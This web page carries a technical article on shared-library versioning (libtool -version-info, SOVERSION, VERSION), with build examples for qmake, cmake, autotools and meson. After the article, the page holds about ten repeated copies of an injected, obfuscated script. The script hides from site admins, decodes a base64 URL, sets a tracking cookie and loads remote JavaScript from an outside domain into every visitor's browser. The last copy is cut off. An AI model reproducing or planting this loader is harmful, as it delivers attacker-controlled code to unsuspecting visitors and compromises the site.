<h2><a id="user-content-differences-in-interpretation-per-platform" href="https://github.com/pvanhoof/dir-examples#differences-in-interpretation-per-platform"></a>Differences in interpretation per platform</h2>
<h2><b>FreeBSD</b></h2>
<p>FreeBSD&#8217;s <a href="https://www.freebsd.org/doc/en/books/developers-handbook/policies-shlib.html" rel="nofollow">Shared Libraries of Chapter 5. Source Tree Guidelines and Policies</a> states:</p>
<blockquote><p>The three principles of shared library building are:</p>
<ol>
<li>Start from 1.0</li>
<li>If there is a change that is backwards compatible, bump minor number (note that ELF systems ignore the minor number)</li>
<li>If there is an incompatible change, bump major number</li>
</ol>
<p>For instance, added functions and bugfixes result in the minor version number being bumped, while deleted functions, changed function call syntax, etc. will force the major version number to change.</p></blockquote>
<p>I think that when using libtool on a FreeBSD (when you use autotools), that the platform will provide a variant of libtool&#8217;s scripts that will convert earlier mentioned current, revision and age rules to FreeBSD&#8217;s. The same goes for the VERSION variable in cmake and qmake. Meaning that with those tree build environments, you can just use the rules for GNU libtool&#8217;s -version-info.</p>
<p>I could be wrong on this, but I did find mailing list E-mails from ~ 2011 stating that this SNAFU is dealt with. Besides, the *BSD porters otherwise know what to do and you could of course always ask them about it.</p>
<p>Note that FreeBSD&#8217;s rules are or seem to be compatible with the rules for VERSION when you don&#8217;t want to care about libtool&#8217;s -version-info compatibility. However, when you are porting from a libtoolized project, then of course you don&#8217;t want to let newer releases break against releases that have already happened.</p>
<p><b><a id="user-content-modern-linux-distributions" href="https://github.com/pvanhoof/dir-examples#modern-linux-distributions"></a>Modern Linux distributions</b></p>
<p>Nowadays you sometimes see things like /usr/lib/$ARCH/libpackage-APIVERSION.so linking to /lib/$ARCH/libpackage-APIVERSION.so.VERSION. I have no idea how this mechanism works. I suppose this is being done by packagers of various Linux distributions? I also don&#8217;t know if there is a standard for this.</p>
<p>I will update the examples and this document the moment I know more and/or if upstream developers need to worry about it. I think that using GNUInstallDirs in cmake, for example, makes everything go right. I have not found much for this in qmake, meson seems to be doing this by default and in autotools you always use platform variables for such paths.</p>
<p>As usual, I hope standards will be made and that the build environment and packaging community gets to their senses and stops leaving this into the hands of developers. I especially think about qmake, which seems to not have much at all to state that standardized installation paths must be used (not even a proper way to define a prefix).</p>
<h2><a id="user-content-questions-that-i-can-imagine-already-exist" href="https://github.com/pvanhoof/dir-examples#questions-that-i-can-imagine-already-exist"></a>Questions that I can imagine already exist</h2>
<p><b>Why is there there a difference between APIVERSION and VERSION?</b></p>
<p>The API version is the version of your programmable interfaces. This means the version of your header files (if your programming language has such header files), the version of your pkgconfig file, the version of your documentation. The API is what software developers need to utilize your library.</p>
<p>The ABI version can definitely be different and it is what programs that are compiled and installable need to utilize your library.</p>
<p>An API breaks when recompiling the program without any changes, that consumes a libpackage-4.3.so.2, is not going to succeed at compile time. The API got broken the moment any possible way package&#8217;s API was used, wont compile. Yes, any way. It means that a libpackage-5.0.so.0 should be started.</p>
<p>An ABI breaks when without recompiling the program, replacing a libpackage-4.3.so.2.1.0 with a libpackage-4.3.so.2.2.0 or a libpackage-4.3.so.2.1.1 (or later) as libpackage-4.3.so.2 is not going to succeed at runtime. For example because it would crash, or because the results would be wrong (in any way). It implies that libpackage-4.3.so.2 shouldn&#8217;t be overwritten, but libpackage-4.3.so.3 should be started.</p>
<p>For example when you change the parameter of a function in C to be a floating point from a integer (and/or the other way around), then that&#8217;s an ABI change but not neccesarily an API change.</p>
<p><b><a id="user-content-what-is-this-soversion-about" href="https://github.com/pvanhoof/dir-examples#what-is-this-soversion-about"></a>What is this SOVERSION about?</b></p>
<p>In most projects that got ported from an environment that uses GNU libtool (for example autotools) to for example cmake or meson, and in the rare cases that they did anything at all in a qmake based project, I saw people converting the current, revision and age parameters that they passed to the -version-info option of libtool to a string concatenated together using (current &#8211; age), age, revision as VERSION, and (current &#8211; age) as SOVERSION.</p>
<p>I wanted to use the exact same rules for versioning for all these examples, including autotools and GNU libtool. When you don&#8217;t have to (or want to) care about libtool&#8217;s set of (for some people, needlessly complicated) -version-info rules, then it should be fine using just SOVERSION and VERSION using these rules:</p>
<blockquote>
<ul>
<li>SOVERSION = Major version</li>
<li>Major version: increase it if you break ABI compatibility</li>
<li>Minor version: increase it if you add ABI compatible features</li>
<li>Patch version: increase it for bug fix releases.</li>
</ul>
</blockquote>
<p>I, however, also sometimes saw variations that are incomprehensible with little explanation and magic foo invented on the spot. Those variations are probably wrong.</p>
<p>In the example I made it so that in the root build file of the project you can change the numbers and calculation for the numbers. However. Do follow the rules for those correctly, as this versioning is about ABI compatibility. Doing this wrong can make things blow up in spectacular ways.</p>
<h2><a id="user-content-the-examples" href="https://github.com/pvanhoof/dir-examples#the-examples"></a>The examples</h2>
<p><b>qmake in the <a href="https://github.com/pvanhoof/dir-examples/tree/master/qmake-example">qmake-example</a></b></p>
<p>Note that the VERSION variable must be filled in as &#8220;(current &#8211; age).age.revision&#8221; for qmake (to get 2.1.0 at the end, you need VERSION=2.1.0 when current=3, revision=0 and age=1)</p>
<p>To try this example out, go to the qmake-example directory and type</p>
<pre><code>$ cd qmake-example
$ mkdir=_test
$ qmake PREFIX=$PWD/_test
$ make
$ make install
</code></pre>
<p>This should give you this:</p>
<pre><code>$ find _test/
_test/
├── include
│   └── qmake-example-4.3
│       └── qmake-example.h
└── lib
    ├── libqmake-example-4.3.so -&gt; libqmake-example-4.3.so.2.1.0
    ├── libqmake-example-4.3.so.2 -&gt; libqmake-example-4.3.so.2.1.0
    ├── libqmake-example-4.3.so.2.1 -&gt; libqmake-example-4.3.so.2.1.0
    ├── libqmake-example-4.3.so.2.1.0
    ├── libqmake-example-4.la
    └── pkgconfig
        └── qmake-example-4.3.pc
</code></pre>
<p>When you now use pkg-config, you get a nice CFLAGS and LIBS line back (I&#8217;m replacing the current path with $PWD in the output each time):</p>
<pre><code>$ export PKG_CONFIG_PATH=$PWD/_test/lib/pkgconfig
$ pkg-config qmake-example-4.3 --cflags
-I$PWD/_test/include/qmake-example-4.3
$ pkg-config qmake-example-4.3 --libs
-L$PWD/_test/lib -lqmake-example-4.3
</code></pre>
<p>And it means that you can do things like this now (and people who know about pkg-config will now be happy to know that they can use your library in their own favorite build environment).</p>
<pre><code>$ export LD_LIBRARY_PATH=$PWD/_test/lib
$ echo -en "#include &lt;qmake-example.h&gt;\nmain() {} " &gt; test.cpp
$ g++ -fPIC test.cpp -o test.o `pkg-config qmake-example-4.3 --libs --cflags`
</code></pre>
<p>You can see that it got linked to libqmake-example-4.3.so.2, where that 2 at the end is (current &#8211; age).</p>
<pre><code>$ ldd test.o
    linux-gate.so.1 (0xb77b0000)
    libqmake-example-4.3.so.2 =&gt; $PWD/_test/lib/libqmake-example-4.3.so.2 (0xb77a6000)
    libstdc++.so.6 =&gt; /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb75f5000)
    libm.so.6 =&gt; /lib/i386-linux-gnu/libm.so.6 (0xb759e000)
    libgcc_s.so.1 =&gt; /lib/i386-linux-gnu/libgcc_s.so.1 (0xb7580000)
    libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xb73c9000)
    /lib/ld-linux.so.2 (0xb77b2000)
</code></pre>
<p><b>cmake in the <a href="https://github.com/pvanhoof/dir-examples/tree/master/cmake-example">cmake-example</a></b></p>
<p>Note that the VERSION property on your library target must be filled in with &#8220;(current &#8211; age).age.revision&#8221; for cmake (to get 2.1.0 at the end, you need VERSION=2.1.0 when current=3, revision=0 and age=1. Note that in cmake you must also fill in the SOVERSION property as (current &#8211; age), so SOVERSION=2 when current=3 and age=1).</p>
<p>To try this example out, go to the cmake-example directory and do</p>
<pre><code>$ cd cmake-example
$ mkdir _test
$ cmake -DCMAKE_INSTALL_PREFIX:PATH=$PWD/_test
-- Configuring done
-- Generating done
-- Build files have been written to: .
$ make
[ 50%] Building CXX object src/libs/cmake-example/CMakeFiles/cmake-example.dir/cmake-example.cpp.o
[100%] Linking CXX shared library libcmake-example-4.3.so
[100%] Built target cmake-example
$ make install
[100%] Built target cmake-example
Install the project...
-- Install configuration: ""
-- Installing: $PWD/_test/lib/libcmake-example-4.3.so.2.1.0
-- Up-to-date: $PWD/_test/lib/libcmake-example-4.3.so.2
-- Up-to-date: $PWD/_test/lib/libcmake-example-4.3.so
-- Up-to-date: $PWD/_test/include/cmake-example-4.3/cmake-example.h
-- Up-to-date: $PWD/_test/lib/pkgconfig/cmake-example-4.3.pc
</code></pre>
<p>This should give you this:</p>
<pre><code>$ tree _test/
_test/
├── include
│   └── cmake-example-4.3
│       └── cmake-example.h
└── lib
    ├── libcmake-example-4.3.so -&gt; libcmake-example-4.3.so.2
    ├── libcmake-example-4.3.so.2 -&gt; libcmake-example-4.3.so.2.1.0
    ├── libcmake-example-4.3.so.2.1.0
    └── pkgconfig
        └── cmake-example-4.3.pc
</code></pre>
<p>When you now use pkg-config, you get a nice CFLAGS and LIBS line back (I&#8217;m replacing the current path with $PWD in the output each time):</p>
<pre><code>$ pkg-config cmake-example-4.3 --cflags
-I$PWD/_test/include/cmake-example-4.3
$ pkg-config cmake-example-4.3 --libs
-L$PWD/_test/lib -lcmake-example-4.3
</code></pre>
<p>And it means that you can do things like this now (and people who know about pkg-config will now be happy to know that they can use your library in their own favorite build environment):</p>
<pre><code>$ echo -en "#include &lt;cmake-example.h&gt;\nmain() {} " &gt; test.cpp
$ g++ -fPIC test.cpp -o test.o `pkg-config cmake-example-4.3 --libs --cflags`
</code></pre>
<p>You can see that it got linked to libcmake-example-4.3.so.2, where that 2 at the end is the SOVERSION. This is (current &#8211; age).</p>
<pre><code>$ ldd test.o
    linux-gate.so.1 (0xb7729000)
    libcmake-example-4.3.so.2 =&gt; $PWD/_test/lib/libcmake-example-4.3.so.2 (0xb771f000)
    libstdc++.so.6 =&gt; /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb756e000)
    libm.so.6 =&gt; /lib/i386-linux-gnu/libm.so.6 (0xb7517000)
    libgcc_s.so.1 =&gt; /lib/i386-linux-gnu/libgcc_s.so.1 (0xb74f9000)
    libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xb7342000)
    /lib/ld-linux.so.2 (0xb772b000)
</code></pre>
<p><b>autotools in the <a href="https://github.com/pvanhoof/dir-examples/tree/master/autotools-example">autotools-example</a></b></p>
<p>Note that you pass -version-info current:revision:age directly with autotools. The libtool will translate that to (current &#8211; age).age.revision to form the so&#8217;s filename (to get 2.1.0 at the end, you need current=3, revision=0, age=1).</p>
<p>To try this example out, go to the autotools-example directory and do</p>
<pre><code>$ cd autotools-example
$ mkdir _test
$ libtoolize
$ aclocal
$ autoheader
$ autoconf
$ automake --add-missing
$ ./configure --prefix=$PWD/_test
$ make
$ make install
</code></pre>
<p>This should give you this:</p>
<pre><code>$ tree _test/
_test/
├── include
│   └── autotools-example-4.3
│       └── autotools-example.h
└── lib
    ├── libautotools-example-4.3.a
    ├── libautotools-example-4.3.la
    ├── libautotools-example-4.3.so -&gt; libautotools-example-4.3.so.2.1.0
    ├── libautotools-example-4.3.so.2 -&gt; libautotools-example-4.3.so.2.1.0
    ├── libautotools-example-4.3.so.2.1.0
    └── pkgconfig
        └── autotools-example-4.3.pc
</code></pre>
<p>When you now use pkg-config, you get a nice CFLAGS and LIBS line back (I&#8217;m replacing the current path with $PWD in the output each time):</p>
<pre><code>$ export PKG_CONFIG_PATH=$PWD/_test/lib/pkgconfig
$ pkg-config autotools-example-4.3 --cflags
-I$PWD/_test/include/autotools-example-4.3
$ pkg-config autotools-example-4.3 --libs
-L$PWD/_test/lib -lautotools-example-4.3
</code></pre>
<p>And it means that you can do things like this now (and people who know about pkg-config will now be happy to know that they can use your library in their own favorite build environment):</p>
<pre><code>$ echo -en "#include &lt;autotools-example.h&gt;\nmain() {} " &gt; test.cpp
$ export LD_LIBRARY_PATH=$PWD/_test/lib
$ g++ -fPIC test.cpp -o test.o `pkg-config autotools-example-4.3 --libs --cflags`
</code></pre>
<p>You can see that it got linked to libautotools-example-4.3.so.2, where that 2 at the end is (current &#8211; age).</p>
<pre><code>$ ldd test.o
    linux-gate.so.1 (0xb778d000)
    libautotools-example-4.3.so.2 =&gt; $PWD/_test/lib/libautotools-example-4.3.so.2 (0xb7783000)
    libstdc++.so.6 =&gt; /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb75d2000)
    libm.so.6 =&gt; /lib/i386-linux-gnu/libm.so.6 (0xb757b000)
    libgcc_s.so.1 =&gt; /lib/i386-linux-gnu/libgcc_s.so.1 (0xb755d000)
    libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xb73a6000)
    /lib/ld-linux.so.2 (0xb778f000)
</code></pre>
<p><b>meson in the <a href="https://github.com/pvanhoof/dir-examples/tree/master/meson-example">meson-example</a></b></p>
<p>Note that the version property on your library target must be filled in with &#8220;(current &#8211; age).age.revision&#8221; for meson (to get 2.1.0 at the end, you need version=2.1.0 when current=3, revision=0 and age=1. Note that in meson you must also fill in the soversion property as (current &#8211; age), so soversion=2 when current=3 and age=1).</p>
<p>To try this example out, go to the meson-example directory and do</p>
<pre><code>$ cd meson-example
$ mkdir -p _build/_test
$ cd _build
$ meson .. --prefix=$PWD/_test
$ ninja
$ ninja install
</code></pre>
<p>This should give you this:</p>
<pre><code>$ tree _test/
_test/
├── include
│   └── meson-example-4.3
│       └── meson-example.h
└── lib
    └── i386-linux-gnu
        ├── libmeson-example-4.3.so -&gt; libmeson-example-4.3.so.2.1.0
        ├── libmeson-example-4.3.so.2 -&gt; libmeson-example-4.3.so.2.1.0
        ├── libmeson-example-4.3.so.2.1.0
        └── pkgconfig
            └── meson-example-4.3.pc
</code></pre>
<p>When you now use pkg-config, you get a nice CFLAGS and LIBS line back (I&#8217;m replacing the current path with $PWD in the output each time):</p>
<pre><code>$ export PKG_CONFIG_PATH=$PWD/_test/lib/i386-linux-gnu/pkgconfig
$ pkg-config meson-example-4.3 --cflags
-I$PWD/_test/include/meson-example-4.3
$ pkg-config meson-example-4.3 --libs
-L$PWD/_test/lib -lmeson-example-4.3
</code></pre>
<p>And it means that you can do things like this now (and people who know about pkg-config will now be happy to know that they can use your library in their own favorite build environment):</p>
<pre><code>$ echo -en "#include &lt;meson-example.h&gt;\nmain() {} " &gt; test.cpp
$ export LD_LIBRARY_PATH=$PWD/_test/lib/i386-linux-gnu
$ g++ -fPIC test.cpp -o test.o `pkg-config meson-example-4.3 --libs --cflags`
</code></pre>
<p>You can see that it got linked to libmeson-example-4.3.so.2, where that 2 at the end is the soversion. This is (current &#8211; age).</p>
<pre><code>$ ldd test.o
    linux-gate.so.1 (0xb772e000)
    libmeson-example-4.3.so.2 =&gt; $PWD/_test/lib/i386-linux-gnu/libmeson-example-4.3.so.2 (0xb7724000)
    libstdc++.so.6 =&gt; /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb7573000)
    libm.so.6 =&gt; /lib/i386-linux-gnu/libm.so.6 (0xb751c000)
    libgcc_s.so.1 =&gt; /lib/i386-linux-gnu/libgcc_s.so.1 (0xb74fe000)
    libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xb7347000)
    /lib/ld-linux.so.2 (0xb7730000)</code></pre>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var 